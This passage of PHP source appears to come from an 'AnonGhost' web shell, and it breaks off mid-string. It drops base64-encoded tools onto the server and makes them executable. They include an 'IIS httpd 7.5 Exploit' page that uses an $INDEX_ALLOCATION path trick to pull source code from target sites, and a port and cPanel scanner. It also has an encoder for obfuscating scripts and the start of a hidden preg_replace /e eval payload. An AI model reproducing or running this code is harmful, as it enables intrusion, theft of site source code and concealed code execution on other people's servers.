  291.     $aghtt ='PD9waHANCnNldF90aW1lX2xpbWl0KDkwMDAwMCk7DQokZHVydW0gPSAiIjsNCmZ1bmN0aW9uIEVyaXNpbG1lKCRkb21haW4pDQp7DQoJJExMID0gY3VybF9pbml0KCk7DQoJY3VybF9zZXRvcHQoJExMLENVUkxPUFRfVVJMLCRkb21haW4pOw0KCWN1cmxfc2V0b3B0KCRMTCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQoJJHNvbnVjID0gaHRtbHNwZWNpYWxjaGFycyhAY3VybF9leGVjKCRMTCkpOw0KCWN1cmxfY2xvc2UoJExMKTsNCglpZigkc29udWMgIT0gIiIpDQoJew0KCQlyZXR1cm4gdHJ1ZTsNCgl9DQoJZWxzZQ0KCXsNCgkJcmV0dXJuIGZhbHNlOw0KCX0NCn0NCmZ1bmN0aW9uIEtheW5ha0tvZHVfQWwoJHNpdGUsJGRvc3lhKQ0Kew0KCSRMTCA9IGN1cmxfaW5pdCgpOw0KCWN1cmxfc2V0b3B0KCRMTCxDVVJMT1BUX1VSTCwkc2l0ZS4kZG9zeWEuIi8ucGhwIik7DQoJY3VybF9zZXRvcHQoJExMLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCgkkc29udWMgPSBAY3VybF9leGVjKCRMTCk7DQoJY3VybF9jbG9zZSgkTEwpOw0KCXJldHVybiAkc29udWM7DQp9DQokbXNnID0gIiI7DQokaXNsZW0gPSBAJF9HRVRbImlzbGVtIl07DQpzd2l0Y2goJGlzbGVtKQ0Kew0KCWNhc2UgImV4cGxvaXQiOg0KCSRzaXRlID0gQCRfUE9TVFsidHh0c2l0ZSJdOw0KCSRkb3N5YSA9IEAkX1BPU1RbInR4dGRvc3lhIl07DQoJaWYoJHNpdGUgIT0gIiIgJiYgJGRvc3lhICE9ICIiKQ0KCXsNCgkJaWYoIUVyaXNpbG1lKCRzaXRlLiRkb3N5YSkpDQoJCXsNCgkJCSRtc2cgPSAiPGZvbnQgY29sb3I9XCJyZWRcIj5QbGVhc2UgRW50ZXIgYSBWYWxpZCBXZWJzaXRlIEFkZHJlc3MhPC9mb250PiI7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQkNCgkJCSRsb2cgPSBAZm9wZW4oImxvZy50eHQiLCJhIik7DQoJCQlmd3JpdGUoJGxvZyxkYXRlKCJkL20veSBIOmkiKS4iIEJlZ2FuIG9uLi4uXHJcbiIpOw0KCQkJZndyaXRlKCRsb2csIkV4cGxvaXQgRGVuZW4gU2l0ZSA6ICIuJHNpdGUuIlxyXG4iKTsNCgkJCSRkdXJ1bSA9IEVyaXNpbG1lKCRzaXRlLiJhZG1pbjpcJGkzMDpcJElOREVYX0FMTE9DQVRJT04vYWRtaW4ucGhwIik7DQoJCQlpZighJGR1cnVtKQ0KCQkJew0KCQkJCSRkdXJ1bSA9IEBFcmlzaWxtZSgkc2l0ZS4iYWRtaW46JGkzMDokSU5ERVhfQUxMT0NBVElPTi8iKTsNCgkJCQlpZighJGR1cnVtKQ0KCQkJCXsNCgkJCQkJZndyaXRlKCRsb2csIlRyaWVkIEJ1dCBGYWlsZWQgZXhwbG9pdCBhcyBpdCBzZWVtcy4gXHJcbk9QVElPTiBEZWxpdmVyeSBQcm9jZXNzZXMgYmVnYW4gcGVyaGFwcyB0aGUgc291cmNlIGNvZGUgbWF5IGJlIHRha2VuLiA6RFxyXG4iKTsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJZndyaXRlKCRsb2csIkl0IGxvb2tzIGxpa2UgRXhwbG9pdCBUZXN0ZWQgc3VjY2Vzc2Z1bGx5XHJcbk9QVElPTiBEZWxpdmVyeSBQcm9jZXNzZXMgYmVnYW4gcGVyaGFwcyB0aGUgc291cmNlIGNvZGUgbWF5IGJlIHRha2VuLiA6RFxyXG4iKTsNCgkJCQl9DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJZndyaXRlKCRsb2csIkl0IGxvb2tzIGxpa2UgRXhwbG9pdCBUZXN0ZWQgc3VjY2Vzc2Z1bGx5XHJcbk9QVElPTiBHw7ZuZGVyZW1lIGJlZ2FuIHBlcmhhcHMgdGhlIHNvdXJjZSBjb2RlIGNhbiBiZSB0YWtlbiBQcm9jZXNzZXMuIDpEXHJcbiIpOw0KCQkJfQ0KCQkJJGRvc3lhMSA9IEtheW5ha0tvZHVfQWwoJHNpdGUsJGRvc3lhKTsNCgkJCWlmKCRkb3N5YTEgIT0gIiIpDQoJCQl7DQoJCQkJJGRvc3lhMiA9IEBmb3BlbigkZG9zeWEsInciKTsNCgkJCQlmd3JpdGUoJGRvc3lhMiwkZG9zeWExKTsNCgkJCQlmY2xvc2UoJGRvc3lhMik7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJZndyaXRlKCRsb2csIkV4cGxvaXQgVHJpZWQgQnV0IEZhaWxlZCA6KCIpOw0KCQkJfQ0KCQkJZmNsb3NlKCRsb2cpOw0KCQkJJG1zZyA9ICI8Zm9udCBjb2xvcj1cImdyZWVuXCI+VHJpZWQgdG8gZXhwbG9pdCE8YnIgLz5cclxuTG9nLnR4dCByZXN1bHRzIGlzIHByZXNlbnRlZCBpbjxiciAvPlxyXG5DYW4gRXhwbG9pdGxlIGZpbGUgaW4gdGhlIHNhbWUgZGlyZWN0b3J5LjwvZm9udD4iOw0KCQl9DQoJCQ0KCX0NCgllbHNlDQoJew0KCQkkbXNnID0gIjxmb250IGNvbG9yPVwicmVkXCI+UGxlYXNlIGZpbGwgaW4gdGhlIHJlcXVpcmVkIGZpZWxkcyEuPC9mb250PiI7DQoJfQ0KCWJyZWFrOw0KCWRlZmF1bHQ6DQp9DQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWlzby04ODU5LTkiIC8+DQo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDtjaGFyc2V0PXdpbmRvd3MtMTI1NCIgLz4NCjx0aXRsZT5Bbm9uR2hvc3QgSUlTIGh0dHBkIDcuNSBFeHBsb2l0IDwvdGl0bGU+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vd3d3Lmljb25qLmNvbS9pY28vei9wL3pwc2k5MGxmYzcuaWNvIiB0eXBlPSJpbWFnZS94LWljb24iIC8+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPiBib2R5IHsgYmFja2dyb3VuZDojMTUxNTE1O2JhY2tncm91bmQtaW1hZ2U6IHVybChodHRwOi8vaTk1Mi5waG90b2J1Y2tldC5jb20vYWxidW1zL2FlMS92aXJ1c2F3b3JtL2FnL2ZvbmRiZ196cHM2NTBmNTAyNS5qcGcpOyBmb250LWZhbWlseTogQ291cmllciBOZXc7IGZvbnQtc2l6ZTogMTBwdDsgZm9udC13ZWlnaHQ6IDQwMDsgY29sb3I6ICM1OEZBRjQ7IHRleHQtYWxpZ246IGNlbnRlcjsgfTwvc3R5bGU+PC9oZWFkPg0KPGJvZHk+DQo8Zm9ybSBhY3Rpb249Ij9pc2xlbT1leHBsb2l0IiBtZXRob2Q9InBvc3QiIGlkPSJmb3JtMSIgbmFtZT0iZm9ybTEiPg0KPHRhYmxlIHdpZHRoPSI0ODUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciI+DQogIDx0cj4NCiAgICA8dGQgd2lkdGg9IjE0MSIgYWxpZ249InJpZ2h0IiBjbGFzcz0ic3RpbDEiPlNpdGUgTGluayA6PC90ZD4NCiAgICA8dGQgd2lkdGg9IjMzNCIgYWxpZ249ImxlZnQiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ0eHRzaXRlIiBpZD0idHh0c2l0ZSIgc3R5bGU9IndpZHRoOjMwMHB4OyIgLz48L3RkPg0KICA8L3RyPg0KICA8dHI+DQogICAgPHRkIGFsaWduPSJyaWdodCI+PHNwYW4gY2xhc3M9InN0aWwxIj5BZHJlc3MgOjwvc3Bhbj48L3RkPg0KICAgIDx0ZCBhbGlnbj0ibGVmdCI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InR4dGRvc3lhIiBpZD0idHh0ZG9zeWEiIHN0eWxlPSJ3aWR0aDozMDBweDsiIC8+PC90ZD4NCiAgPC90cj4NCiAgPHRyPg0KICAgIDx0ZD4mbmJzcDs8L3RkPg0KICAgIDx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG5fZXhwIiBpZD0iYnRuX2V4cCIgdmFsdWU9IkV4cGxvaXQiIC8+PC90ZD4NCiAgPC90cj4NCiAgPHRyPg0KICAgIDx0ZD4mbmJzcDs8L3RkPg0KICAgIDx0ZD4mbmJzcDs8L3RkPg0KICA8L3RyPg0KICA8dHI+DQogICAgPHRkPiZuYnNwOzwvdGQ+DQogICAgPHRkPiZuYnNwOzwvdGQ+DQogIDwvdHI+DQo8L3RhYmxlPg0KPD9waHAgZWNobyBAJG1zZzsgPz4NCjwvZm9ybT4NCjwvYm9keT4NCjwvaHRtbD4=';
  292.     $file = fopen("aghtt.php" ,"w+");
  293.     $write = fwrite ($file ,base64_decode($aghtt));
  294.     fclose($file);
  295.         chmod("aghtt.php",0755);
  296.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;>AnonGhost IIS httpd 7.5 Exploit</p><iframe src=aghtt.php width=70% height=65% frameborder=0></iframe>"; }
  297.        
  298.     elseif(isset($_GET['porte'])) {
  299.     $porte ='PD9waHANCnNldF90aW1lX2xpbWl0KDkwMDAwMCk7DQokbXNnID0gIiI7DQpmdW5jdGlvbiBQb3J0X0FjaWsoJGRvbWFpbiwkcG9ydCkNCnsNCglpZihAZnNvY2tvcGVuKCRkb21haW4sICRwb3J0LCAkZXJybm8sICRlcnJzdHIsIDAuMSkpDQoJew0KCQlyZXR1cm4gdHJ1ZTsNCgl9DQoJZWxzZQ0KCXsNCgkgICByZXR1cm4gZmFsc2U7DQoJfQ0KfQ0KZnVuY3Rpb24gUG9ydF9TZXJ2aXNfQWRpKCRpbmRleCkNCnsNCgkkcG9ydF9hZGxhcmkgPSBhcnJheSgiRlRQIiwiU1NIIiwiVEVMTkVUIiwiU01UUCIsIkROUyIsIkhUVFAiLCJQT1AzIiwiU0ZUUCIsIlJQQyIsIk5ldEJJT1MiLCJJTUFQIiwiSVJDIiwiU1NMIiwiU01CIiwiTVNTUUwiLCJNeVNRTCIsIlJlbW90ZSBEZXNrdG9wIiwiUENBbnl3aGVyZSIsIlZOQyIsIldhcmNyYWZ0IElJSSIpOw0KCWlmKGlzX251bWVyaWMoJGluZGV4KSkNCgl7DQoJCXJldHVybiAkcG9ydF9hZGxhcmlbJGluZGV4XTsNCgl9DQoJZWxzZQ0KCXsNCgkJcmV0dXJuIG51bGw7DQoJfQ0KfQ0KZnVuY3Rpb24gRXJpc2lsbWUoJGRvbWFpbikNCnsNCgkkTEwgPSBjdXJsX2luaXQoKTsNCgljdXJsX3NldG9wdCgkTEwsQ1VSTE9QVF9VUkwsJGRvbWFpbik7DQoJY3VybF9zZXRvcHQoJExMLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCgkkc29udWMgPSBodG1sc3BlY2lhbGNoYXJzKEBjdXJsX2V4ZWMoJExMKSk7DQoJY3VybF9jbG9zZSgkTEwpOw0KCWlmKCRzb251YyAhPSAiIikNCgl7DQoJCXJldHVybiB0cnVlOw0KCX0NCgllbHNlDQoJew0KCQlyZXR1cm4gZmFsc2U7DQoJfQ0KfQ0KPz4NCjw/cGhwDQokaXNsZW0gPSBAJF9HRVRbImlzbGVtIl07DQpzd2l0Y2goQCRpc2xlbSkNCnsNCgljYXNlICJ0YXJhIjoNCgkkc2l0ZSA9IGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsidHh0c2l0ZSJdKTsNCglpZigkc2l0ZSA9PSAiIikNCgl7DQoJJG1zZyA9ICI8cCBjbGFzcz1cInNpdGlsX2hhdGFcIj5CbGFuayBEbyBub3QgY3Jvc3MgeW91ciBzaXRlICE8L3A+XHJcbiI7DQoJJHNvbnVjbGFyID0gdHJ1ZTsNCgl9DQoJZWxzZQ0KCXsNCgkJJHBvcnRsYXIgPSBhcnJheSgiMjEiLCIyMiIsIjIzIiwiMjUiLCI1MyIsIjgwIiwiMTEwIiwiMTE1IiwiMTM1IiwiMTM5IiwiMTQzIiwiMTk0IiwiNDQzIiwiNDQ1IiwiMTQzMyIsIjMzMDYiLCIzMzg5IiwiNTYzMiIsIjU5MDAiLCI2MTEyIik7DQoJCSRfY3BhbmVsX3BvcnQgPSBhcnJheSgiMTk5NyIsIjE5OTgiLCIxOTk5IiwiMjAwMCIsIjIwMDEiLCIyMDAyIiwiMjAwNCIsIjIwMDUiLCIyMDA2IiwiMjAwNyIsIjIwMDgiLCIyMDA5IiwiMjAxMCIsIjIwMTEiLCIyMDEyIiwiMjAxMyIsIjIwMTQiLCIyMDE1IiwiMjAxNiIsIjIwMTciLCIyMDE4IiwiMjAxOSIsIjIwMjAiLCIyMDIxIiwiMjAyMiIsIjIwMjMiLCIyMDI0IiwiMjAyNSIsIjIwMjYiLCIyMDI3IiwiMjAyOCIsIjIwMjkiLCIyMDMwIiwiMjAzMSIsIjIwMzIiLCIyMDMzIiwiMjAzNCIsIjIwMzUiLCIyMDM2IiwiMjAzNyIsIjIwMzgiLCIyMDM5IiwiMjA0MCIsIjIwNDEiLCIyMDQyIiwiMjA0MyIsIjIwNDQiLCIyMDQ1IiwiMjA0NiIsIjIwNDciLCIyMDQ4IiwiMjA0OSIsIjIwNTAiLCIyMDUxIiwiMjA1MiIsIjIwNTMiLCIyMDU0IiwiMjA1NSIsIjIwNTYiLCIyMDU3IiwiMjA1OCIsIjIwNTkiLCIyMDYwIiwiMjA2MSIsIjIwNjIiLCIyMDYzIiwiMjA2NCIsIjIwNjUiLCIyMDY2IiwiMjA2NyIsIjIwNjgiLCIyMDY5IiwiMjA3MCIsIjIwNzEiLCIyMDcyIiwiMjA3MyIsIjIwNzQiLCIyMDc1IiwiMjA3NiIsIjIwNzciLCIyMDc4IiwiMjA3OSIsIjIwODAiLCIyMDgxIiwiMjA4MiIsIjIwODMiLCIyMDg0IiwiMjA4NSIsIjIwODYiLCIyMDg3IiwiMjA4OCIsIjIwODkiLCIyMDkwIiwiMjA5MSIsIjIwOTIiLCIyMDkzIiwiMjA5NCIsIjIwOTUiLCIyMDk2IiwiMjA5NyIsIjg0NDMiKTsNCgkJZm9yKCRpID0gMDskaTxjb3VudCgkcG9ydGxhcik7JGkrKykNCgkJew0KCQkJJHNvbnVjID0gUG9ydF9TZXJ2aXNfQWRpKCRpKS4iJm5ic3A7OiZuYnNwOyIuKFBvcnRfQWNpaygkc2l0ZSwkcG9ydGxhclskaV0pID09IHRydWUgPyAiPGZvbnQgY29sb3I9XCJsaW1lXCI+T3BlbjwvZm9udD4iIDogIjxmb250IGNvbG9yPVwicmVkXCI+T2ZmPC9mb250PiIpOw0KCQkJJG1zZyAuPSAiPGZvbnQgY29sb3I9XCJsaW1lXCI+PGI+Ii4kc2l0ZS4iIERla2kmbmJzcDsiLiRzb251Yy4iID0+ICIuJHBvcnRsYXJbJGldLiI8L2I+PC9mb250PjxiciAvPlxyXG4iOw0KCQl9DQoJCSRtc2cgLj0gIjxmb250IGNvbG9yPVwibGltZVwiPlNlcnZlciBJUCBhZGRyZXNzIDombmJzcDsiLmdldGhvc3RieW5hbWUoJHNpdGUpLiI8L2ZvbnQ+PGJyIC8+XHJcbiI7DQoJCWZvcigkaSA9IDA7JGk8Y291bnQoJF9jcGFuZWxfcG9ydCk7JGkrKykNCgkJew0KCQkJJHNvbnVjID0gIkNwYW5lbC1Qb3J0dSA6Jm5ic3A7Ii4kX2NwYW5lbF9wb3J0WyRpXS4oUG9ydF9BY2lrKCRzaXRlLCRfY3BhbmVsX3BvcnRbJGldKSA9PSB0cnVlID8gIiZuYnNwOzxmb250IGNvbG9yPVwibGltZVwiPjxiPk9wZW48L2I+PC9mb250PiIgOiAiJm5ic3A7PGZvbnQgY29sb3I9XCJyZWRcIj48Yj5PZmY8L2I+PC9mb250PiIpOw0KCQkJJG1zZyAuPSAiPGZvbnQgY29sb3I9XCJsaW1lXCI+PGI+Ii4kc2l0ZS4iIERla2kgIi4kc29udWMuIiBFcmnDvmlsbWUgRHVydW11IDo8L2I+PC9mb250PiIuKEVyaXNpbG1lKCJodHRwOi8vIi4kc2l0ZS4iOiIuJF9jcGFuZWxfcG9ydFskaV0uIi8iKSA9PSB0cnVlID8gIjxmb250IGNvbG9yPVwibGltZVwiPjxiPmFjY2Vzc2libGUgITwvYj48L2ZvbnQ+IiA6ICI8Zm9udCBjb2xvcj1cInJlZFwiPjxiPmluYWNjZXNzaWJsZSAhPC9iPjwvZm9udD4iKS4iPGJyIC8+XHJcbiI7DQoJCX0NCgkJJG1zZyAuPSAiPGgxIGNsYXNzPVwiLnNpdGlsX2gxXCI+aW4gZXhjZXB0aW9uYWwgY2lyY3Vtc3RhbmNlcyA6PC9oMT48YnIgLz5cclxuIjsNCgkJZm9yKCRpID0gMDskaTxjb3VudCgkcG9ydGxhcik7JGkrKykNCgkJew0KCQkJJHNvbnVjID0gIjxmb250IGNvbG9yPVwibGltZVwiPjxiPiIuUG9ydF9TZXJ2aXNfQWRpKCRpKS4gIiZuYnNwO0VyacO+aWxtZSA6IDwvYj48L2ZvbnQ+Ii4oRXJpc2lsbWUoImh0dHA6Ly8iLiRzaXRlLiI6Ii4kcG9ydGxhclskaV0uIi8iKSA9PSB0cnVlID8gIjxmb250IGNvbG9yPVwibGltZVwiPjxiPmFjY2Vzc2libGUgITwvYj48L2ZvbnQ+IiA6ICI8Zm9udCBjb2xvcj1cInJlZFwiPjxiPmluYWNjZXNzaWJsZSAhPC9iPjwvZm9udD4iKTsNCgkJCSRtc2cgLj0gJHNpdGUuIiA8Zm9udCBjb2xvcj1cImxpbWVcIj48Yj5pbiBleGNlcHRpb25hbCBjaXJjdW1zdGFuY2VzIDombmJzcDs8L2I+PC9mb250PiZuYnNwOyIuJHNvbnVjLiI8YnIgLz5cclxuIjsNCgkJfQ0KCQkkbXNnIC49ICI8Zm9udCBjb2xvcj1cInJlZFwiPjxiPkh0dHAsIGZ0cCwgZXRjLiBkdWUgdG8gdW51c3VhbCBwb3J0cyE8L2I+PC9mb250PlxyXG4iOw0KCQkkc29udWNsYXIgPSB0cnVlOw0KCX0NCglicmVhazsNCglkZWZhdWx0Og0KfQ0KPz4NCjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNvLTg4NTktOSIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXdpbmRvd3MtMTI1NCIgLz4NCjx0aXRsZT5Bbm9uR2hvc3QgUG9ydCBTY2FubmVyIEV4cGxvaXQ8L3RpdGxlPjxsaW5rIHJlbD0ic2hvcnRjdXQgaWNvbiIgaHJlZj0iaHR0cDovL3d3dy5pY29uai5jb20vaWNvL3ovcC96cHNpOTBsZmM3LmljbyIgdHlwZT0iaW1hZ2UveC1pY29uIiAvPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4gYm9keSB7IGJhY2tncm91bmQ6IzE1MTUxNTtiYWNrZ3JvdW5kLWltYWdlOiB1cmwoaHR0cDovL2k5NTIucGhvdG9idWNrZXQuY29tL2FsYnVtcy9hZTEvdmlydXNhd29ybS9hZy9mb25kYmdfenBzNjUwZjUwMjUuanBnKTsgZm9udC1mYW1pbHk6IENvdXJpZXIgTmV3OyBmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OiA0MDA7IGNvbG9yOiAjNThGQUY0OyB0ZXh0LWFsaWduOiBjZW50ZXI7IH0NCi5zaXRpbF9idXR0b257DQpiYWNrZ3JvdW5kLWNvbG9yOiMwMDAwMDA7DQpjb2xvcjojNThGQUY0Ow0KYm9yZGVyOjFweCBzb2xpZCAjNThGQUY0Ow0KfQ0KLnNpdGlsX2gxew0KY29sb3I6I0NDMzMwMDsNCn0NCi5zaXRpbF9oYXRhew0KY29sb3I6I0ZGMDAwMDsNCmZvbnQtZmFtaWx5OiJBcmlhbCBCbGFjayI7DQpmb250LXNpemU6MjBwdDsNCn0NCjwvc3R5bGU+PC9oZWFkPg0KPGJvZHk+DQo8YnI+DQo8Zm9ybSBhY3Rpb249Ij9pc2xlbT1TY2FuIiBtZXRob2Q9InBvc3QiIG5hbWU9ImZvcm0xIiBpZD0iZm9ybTEiPg0KICA8dGFibGUgd2lkdGg9IjUzMCIgYm9yZGVyPSIxIiBhbGlnbj0iY2VudGVyIj4NCiAgICA8dHI+DQogICAgICA8dGQgd2lkdGg9Ijk2IiBhbGlnbj0icmlnaHQiPjxzcGFuIGNsYXNzPSJzaXRpbF95YXppIj48c3Ryb25nPlVybCBTaXRlIDo8L3N0cm9uZz48L3NwYW4+PC90ZD4NCiAgICAgIDx0ZCB3aWR0aD0iMjQ2IiBhbGlnbj0ibGVmdCI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InR4dHNpdGUiIGlkPSJ0eHRzaXRlIiBzdHlsZT0id2lkdGg6MzAwcHg7IiAgY2xhc3M9InNpdGlsX2J1dHRvbiIvPiA8aW5wdXQgbmFtZT0iYnRuVGFyYSIgdHlwZT0ic3VibWl0IiBjbGFzcz0ic2l0aWxfYnV0dG9uIiBpZD0iYnRuVGFyYSIgc3R5bGU9IndpZHRoOjEwMHB4OyIgdmFsdWU9IlNjYW4iIG9uY2xpY2s9IkphdmFzY3JpcHQ6cmV0dXJuIGNvbmZpcm0oJ0FyZSB5b3UgcmVhZHkgdG8gc2NhbiA/Jyk7IiAvPjwvdGQ+DQogICAgPC90cj4NCiAgICA8dHI+DQogICAgICA8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+DQogICAgICA8ZGl2IHN0eWxlPSJ3aWR0aDo1NTBweDtoZWlnaHQ6MTAwcHg7IGJhY2tncm91bmQtY29sb3I6I0NDQ0NDQztjb2xvcjojMDAwMDAwOyBvdmVyZmxvdzp2aXNpYmxlOyIgYWxpZ249ImNlbnRlciI+PGNvZGU+VXNlIHVyIEJyYWluLi4gbG9sIDwvY29kZT48L2Rpdj48L3RkPg0KICAgIDwvdHI+DQogIDwvdGFibGU+DQo8L2Zvcm0+DQo8P3BocCBpZihAJHNvbnVjbGFyID09IHRydWUpIHsgPz4NCjxoMSBhbGlnbj0iY2VudGVyIiBjbGFzcz0ic2l0aWxfaDEiPlNjYW4gUmVzdWx0cyA6PC9oMT48YnIgLz4NCjw/cGhwIGVjaG8gQCRtc2c7ID8+DQo8P3BocCB9ID8+DQo8L2JvZHk+DQo8L2h0bWw+DQo=';
  300.     $file = fopen("porte.php" ,"w+");
  301.     $write = fwrite ($file ,base64_decode($porte));
  302.     fclose($file);
  303.         chmod("porte.php",0755);
  304.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;>AnonGhost Port Scanner Exploit</p><iframe src=porte.php width=70% height=65% frameborder=0></iframe>"; }
  305.     elseif(isset($_GET['string'])){ echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Script Encode & Decode</b></p>";
  306.     $text = $_POST['code'];
  307.     ?>
  308.     <form method="post">
  309.     <textarea class='inputz' cols=80 rows=9 name="code"></textarea><br><br>
  310.     <select class='inputz' size="1" name="ope">
  311.     <option value="base64">Base64</option>
  312.     <option value="gzinflate">str_rot13 - gzinflate - base64</option>
  313.     <option value="str">str_rot13 - gzinflate - str_rot13 - base64</option>
  314.     </select>&nbsp;<input class='inputzbut' type='submit' name='submit' value='Encrypt'>
  315.     <input class='inputzbut' type='submit' name='submits' value='Decrypt'>
  316.     </form>
  317.      
  318.     <?php
  319.     $submit = $_POST['submit'];
  320.     if (isset($submit)){
  321.     $op = $_POST["ope"];
  322.     switch ($op) {case 'base64': $codi=base64_encode($text);
  323.     break;case 'str' : $codi=(base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
  324.     break;case 'gzinflate' : $codi=base64_encode(gzdeflate(str_rot13($text)));
  325.     break;default:break;}}
  326.      
  327.     $submit = $_POST['submits'];
  328.     if (isset($submit)){
  329.     $op = $_POST["ope"];
  330.     switch ($op) {case 'base64': $codi=base64_decode($text);
  331.     break;case 'str' : $codi=str_rot13(gzinflate(str_rot13(base64_decode(($text)))));
  332.     break;case 'gzinflate' : $codi=str_rot13(gzinflate(base64_decode($text)));
  333.     break;default:break;}}
  334.      
  335.     echo '<textarea cols=80 rows=9 class="inputz" readonly>'.$codi.'</textarea></center><BR><BR>';
  336.      
  337.     }      
  338.            
  339.     elseif(isset($_GET['wpdisp'])) {
  340.     $wpdisp ='PD9waHANCnByZWdfcmVwbGFjZSgiLy4qL2UiLCJceDY1XHg3Nlx4NjFceDZDXHgyOFx4NjdceDdBXHg2OVx4NkVceDY2XHg2Q1x4NjFceDc0XHg2NVx4MjhceDYyXHg2MVx4NzNceDY1XHgzNlx4MzRceDVGXHg2NFx4NjVceDYzXHg2Rlx4NjRceDY1XHgyOCdsWnJKamlUSkRVVHZBdlFQamNZY3BNc2cweGQ2QmdiNms3eEViaWVkaGY1OGhacy9jNDhxQ1FQTUlWQVpteStrMFdoazFHKy9ucC9uNjhlUDMvLzE0K2Y5VjdzY1I3ci9pbm9jN2Y2cmZ0WjV2eGZQNDdnZVJ4N1gwdTA0anZ2cGVDNjlqMk1mdjNXdlgzK092L1g0MjQ1bmN4eEhQWjIzY2UzTC9ldlg4NUpQNThkWStmYnQrZloxdlBMdC9ieDlHNjkrdXg5L010LzM5ZlQxbGovWnovOWIzL2Y5Zngvdiszem44ZkszOWVWdjh4L1BsdS8yKzdQMXhmL085NWZlWjMvcFdIYzdmRjJQKzNGY0s3ZGh0MWJIK0dVYmRnN3YvN2pmeWhnajNyenpPczRQVzVUUHdGTS9MOGM4NWJoZmorc3RoaTg3N3ZyN1dsY2U1M3J1T0M4ZG16dTRmSE85WS9FeDFxRzVZcXk1UDl2WDE3WXhSOGRGOTBVZlYvT1hNVTdGUi9IaStJd3hLL3ZvOSt0bHJFWHZ0ekZmSDZQUG8zZFlTenpHL1c2cnZwOGVHdzJNQnVmNU11elIzK3ZqNmxwaEQ0VjRpakdlM24wU2I1K3hobkk4Vi9aeFhmdGt6OXJUYyt3empPc0xQdU5aeFhzWk51enI2K3Z0UHVwamR4L0tiOWhPMXg1akx4clQ4N2ZsMSs1cjdlc3hlS05XOXNSN1dtdGxUeG03M2NZOFlYeTM4VzdqM2NCZnNzczJzRkdaUitmWXFvOHRXMTVaMjIzTnF6aTdERDlxalduWW9lOUxNZEJ0Vm9ZUHRKY0t4ejNIODhaMWYwYnZ2Y2I5Mm5odUgrTUkxMlZnckRtMmIrd0ZHd3BIRi9EdzRONE9iK3dqSGh0ck01YTZIZnRldTYvNmZ2WCtiZmhkK0wyTytmcjhEVTRMeDJESDlEYWVyOGExNTl2RzJOM2VoZlYyV3lqR2lIM0Y1WWNZZncvc3lvWnQyTUp4cmZYbEZZL2kyWTEzMjNpLzRrdk5lU1VlYjJPdFd0dHR2Tjl4cTFqSDE0M1k3TTg1aHB0amRpZCtncjFsYkppd3kzWDVYT2VzU1huak9ueXE5VDNHK0gzUHN0OU8zbXZZbEhqdnYrM0x4cjcwYmd6YzZia0tGNVJ4eU8vNExSTmZpcm5LbWl2ekVlZVRVeW84OG1idk96NTVEMXRwWHZEV24ybm16Y1kxL0NkY3ZzRkN3d2NYWWlieExMZ1dYcThEaTkwK0pTMXUxcDVpeFdCalRjSnZZbjNnUWJpK3d0MlhnUmR4ZUlLdjJyalc4YVN4WTloSU1aZlhzOGFaL1NOY3c5blphNzVnbytzNDcrK0tDd3Y3enZEckZhNzRnRVV3cmJoTDQ1cm1TRnlyMktQaGE4ZjhqUnhIUEFSN0ZyOXRnMGRsdHdxMkN2TWw4aDAreUdDNXo1ZkpjN1pManlmWjVqSG1EV0psMm0wZjQycXZGWHh0QXp0OXJ3V3RZMTVxL3YwZVkvVjNBajdSSGg1amp4VWUwck1OL29HSHhWZlhZUVBoOEVOTVdQZWxuMy84L1crLy9YcVVkTE9tbEIzaGtBYitHMzROTkV5UDcwTGNpRVBnaENCUENFY0ZYbnFNT1pVZmIwdERpQmZnTy9OdGNmNTZyYkd5dWZOSkRMeldQaXBZTExlRmY0MnpMVDBobkdhNEl1RGQyK0krKzdrNjN6M0dQWEV0dWRMajYzb0ZoOWJDTzV5QWJnakh3bjdDUW1FZlpmaGJPTmpHUGNWK0phL0NQK1pRNWRWRUxxZ0w1OExlVGg2QXg4UzVqM0ZVYzA2K1R6MFU0RnpQeGxwSEJZdUtSZWVtSFIrLzBBVndzZmJTV1BPVmVNbmphUG1Vd3o3REp0cmpBdzF6SThhZGwvQzNOTTRGem44UVE